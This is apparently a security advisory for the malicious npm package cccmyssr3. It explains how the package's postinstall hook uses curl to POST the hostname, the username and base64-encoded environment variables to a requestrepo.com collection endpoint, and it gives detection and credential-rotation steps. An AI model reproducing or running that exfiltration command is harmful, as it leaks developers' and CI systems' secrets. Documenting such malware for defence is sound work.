cccmyssr3npm
Advisory published Updated
cccmyssr3 is a confirmed malicious npm package (MAL-2026-6392) that steals credentials and exfiltrates sensitive data (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in cccmyssr3 (npm)
What this malware does
On npm install, this package automatically runs postinstall.js, which executes curl -X POST with a body containing the installer's hostname ($(hostname)), current user ($(whoami)), and the first 10 environment variables base64-encoded ($(env | head -10 | base64 -w 0)), sending them over plain HTTP to http://r1x55270.requestrepo.com — a requestrepo.com subdomain used as an attacker data-collection endpoint. Environment variables on developer and CI machines routinely contain credentials, API tokens, and CI secrets, so this is a credential-theft payload. The package's main is a trivial one-line formatDate stub and its description is 'A harmless utility package' — a cover story unrelated to the lifecycle behavior.

Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for cccmyssr3 (version 1.0.0).
If you installed it — respond
cccmyssr3 is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If cccmyssr3 was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Detect & block this
O3 blocks cccmyssr3-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
